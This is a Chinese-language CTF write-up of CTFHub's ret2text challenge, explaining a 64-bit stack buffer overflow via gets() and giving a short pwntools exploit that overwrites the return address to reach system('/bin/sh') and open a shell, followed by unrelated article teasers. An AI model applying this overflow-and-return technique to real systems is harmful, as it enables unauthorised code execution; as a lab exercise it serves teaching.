【PWN刷题__ret2text】——CTFHub之 简单的 ret2text

news/2024/10/22 11:39:47/

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴

目录

前言

一、checksec查看

二、IDA反汇编

三、exp编写


前言

经典的ret2text流程 


一、checksec查看

 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回

二、IDA反汇编

发现危险函数gets()

 发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell

v大小为0x70+栈基指针0x8+返回地址 

 返回哪里呢?直接返回system("/bin/sh")指令的地址。

三、exp编写 

from pwn import *r=remote('网址',port)addr=0x4007B8                        #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr)    #覆盖v存储、覆盖栈基指针、修改返回地址r.sendline(payload)                  #发送payloadr.interactive()                      #shell 交互

 然后ls查看有哪些文件,cat flag即可获得flag


总结

蒟蒻在行动!


http://www.ppmy.cn/news/49138.html

相关文章

C# 中的单元测试,如何使用单元测试进行程序测试和调试?

单元测试是一种软件测试方法,用于测试单个功能或方法是否按预期工作。在 C# 中,可以使用 .NET 框架中的单元测试工具来编写和运行单元测试。 下面是使用 Visual Studio 内置的单元测试框架来创建一个简单的单元测试的步骤: 在 Visual Studi…

Java 实现数据脱敏的详细讲解

数据脱敏是一种数据保护技术,它通过对敏感数据进行修改或替换,使得数据无法被识别或关联到个人身份,从而保护个人隐私。在Java中,可以通过各种技术来实现数据脱敏,本文将详细讲解Java实现数据脱敏的方法和技术。 一、…

Linux搭建GitLab私有仓库,并内网穿透实现公网访问

文章目录 前言1. 下载Gitlab2. 安装Gitlab3. 启动Gitlab4. 安装cpolar5. 创建隧道配置访问地址6. 固定GitLab访问地址6.1 保留二级子域名6.2 配置二级子域名 7. 测试访问二级子域名 前言 GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具&#xf…

家用洗地机有什么优缺点?平价洗地机推荐

随着社会经济的发展和人们生活水平的提高,对于清洁卫生的要求也越来越高。洗地机作为一种集高效、节能、环保、卫生等多重优点于一身的清洁设备,可以有效提高清洁效率和清洁质量,并且可以减少对环境的污染。不仅如此,洗地机的还有…

OpenCV 安卓编程示例:1~6 全

原文:OpenCV Android Programming By Example 协议:CC BY-NC-SA 4.0 译者:飞龙 本文来自【ApacheCN 计算机视觉 译文集】,采用译后编辑(MTPE)流程来尽可能提升效率。 当别人说你没有底线的时候,…

联合索引生效和失效条件

联合索引生效和失效条件 联合索引生效的条件索引失效的条件使用索引的一般性建议 联合索引生效的条件 联合索引又称为复合索引。 两个或更多列上的索引,被称之为复合索引。 MySQL从左到右的使用索引当中的字段,一个查询可以使用索引的一部分&#xff…

MySQL高级第十六篇:数据库日志有哪些(慢查询日志、通用查询日志、错误日志和二进制日志)

MySQL高级第十六篇:数据库日志有哪些(慢查询日志、通用查询日志、错误日志和二进制日志) 一、MySQL支持的日志有哪些?1. 日志类型总结2. 日志有什么缺点吗? 二、通用查询日志(slow query log)三…

SpringBoot中使用redis事务

本文基于SpringBoot 2.X 事务在关系型数据库的开发中经常用到,其实非关系型数据库,比如redis也有对事务的支持,本文主要探讨在SpringBoot中如何使用redis事务。 事务的相关介绍可以参考: 0、起因 在一次线上事故中,我们…